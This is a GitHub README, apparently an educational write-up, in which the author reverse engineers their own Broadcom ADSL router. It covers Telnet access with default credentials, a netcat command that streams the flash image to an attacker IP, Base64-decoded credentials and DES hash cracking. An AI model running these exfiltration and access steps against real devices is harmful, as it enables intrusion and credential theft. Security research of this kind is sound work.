Skip to content

zuhtuEren/Modem-Reverse-Engineering

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🕵️‍♂️ Reverse Engineering a Legacy Broadcom ADSL Router

This project documents the end-to-end reverse engineering process of a Broadcom BCM96338 based embedded device. The goal was to audit the device's security, understand its proprietary file system, and retrieve hidden credentials using both static and live analysis techniques.

⚠️ Disclaimer: This project is strictly for educational purposes and was performed on hardware I own. Sensitive details (MAC addresses, Public IPs) have been sanitized.


🛠️ Methodology & Tools

  • Target: Pikatel / AirTies (Broadcom BCM96338 Chipset)
  • OS: Embedded Linux (Kernel 2.6.8) with BusyBox v1.00
  • Techniques: Network Reconnaissance, Firmware Exfiltration, Blind Stream, Hash Cracking.
  • Tools: nmap, netcat, binwalk, dd, strings, John the Ripper.

1. Network Discovery (Keşif)

I started by scanning the device to identify attack vectors. Nmap revealed that alongside the web interface (Port 80), the device had Telnet (Port 23) exposed, which is a critical security risk for legacy devices.

Nmap Scan Figure 1: Service enumeration revealing open Telnet and FTP ports.


2. Access & Enumeration (Erişim)

Using default credentials found in public documentation (admin:password), I gained shell access via Telnet. Once inside, I enumerated the system architecture to plan the firmware extraction.

  • Architecture: MIPS (Big Endian)
  • CPU: BCM6338 V1.0
  • Constraints: Read-Only file system, limited RAM.

System Info Figure 2: Gaining shell access via Telnet.

CPU Info Figure 3: Verifying the Kernel version and CPU architecture.

Memory Mapping Analysis

Before attempting extraction, I checked the memory layout (/proc/mtd) to identify the correct flash storage block. I confirmed that mtd0 was the "Physically mapped flash" containing the complete firmware image.

MTD Map Figure 4: Identifying mtd0 as the target flash storage block.


3. The Challenge: Data Exfiltration (Veri Kaçırma)

To analyze the firmware offline, I needed to dump the Flash memory (/dev/mtdblock0). However, the environment was extremely restricted. Standard tools like wget were broken or stripped down, making it impossible to download external tools to the router.

Wget Failure Figure 5: Attempting to fetch binaries failed due to the restricted environment.

✅ The Solution: Netcat "Blind Stream"

Since I couldn't download files to the router, I decided to stream the data out using Netcat, which was luckily present in the firmware.

  1. Listener (Kali Linux): nc -l -p 23 > firmware_dump.bin
  2. Sender (Router): cat /dev/mtdblock0 | nc <attacker_ip> 23

Netcat Success Figure 6: Successfully dumping the 2.5MB firmware image over the TCP socket.


4. Static Analysis & The "Endianness" Wall

I attempted to extract the dumped firmware using binwalk and 7z. I successfully stripped the proprietary header using dd, but the SquashFS extraction failed.

Technical Root Cause: The router uses Big Endian MIPS architecture. Standard extraction tools on modern x86/x64 systems (Little Endian) cannot natively read the file system structure without cross-compilation or specialized tools (like sasquatch-mipseb).

Extraction Failure Figure 7: The extraction failure that forced a switch to Live Analysis.


5. Live Analysis & Findings (Canlı Analiz)

Since static extraction was blocked by architecture mismatch, I pivoted to Live Analysis. I navigated the file system through the Telnet shell and located the configuration backup file.

I discovered that sensitive credentials (ISP PPPoE password, Support credentials) were stored in an XML file, merely encoded with Base64 rather than being encrypted.

XML Findings Figure 8: Locating the Base64 encoded passwords in the config file.

Decoded Credentials:

  • cGFzc3dvcmQ= -> password (Admin)
  • c3VwcG9ydA== -> support (Hidden Service Account)

6. Privilege Escalation (Hash Cracking)

Beyond the XML file, I extracted the system user hashes from /etc/passwd. Using John the Ripper, I identified the algorithm as legacy DES (crypt3) and successfully cracked the root-level hashes.

Hash Cracking Figure 9: Cracking the system hashes in seconds due to weak algorithm usage.


7. Persistence Constraints (Kalıcılık Analizi)

Finally, I attempted to write a backdoor file to the system to test for persistence. The operation failed, confirming that the root file system is mounted as Read-Only (SquashFS). Persistence is only possible by rebuilding the entire firmware image and flashing it back to the MTD block.

Read Only Error Figure 10: Verifying the immutable nature of the firmware.


🏁 Conclusion

This project demonstrated the vulnerabilities present in legacy embedded devices:

  1. Weak Storage: Passwords stored in Base64 or weak DES hashes.
  2. Insecure Defaults: Telnet exposed by default.
  3. Architecture: While the Big Endian architecture prevented simple static analysis, it did not stop live data exfiltration.

Status: Device Rooted & Fully Analyzed. 🚀

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages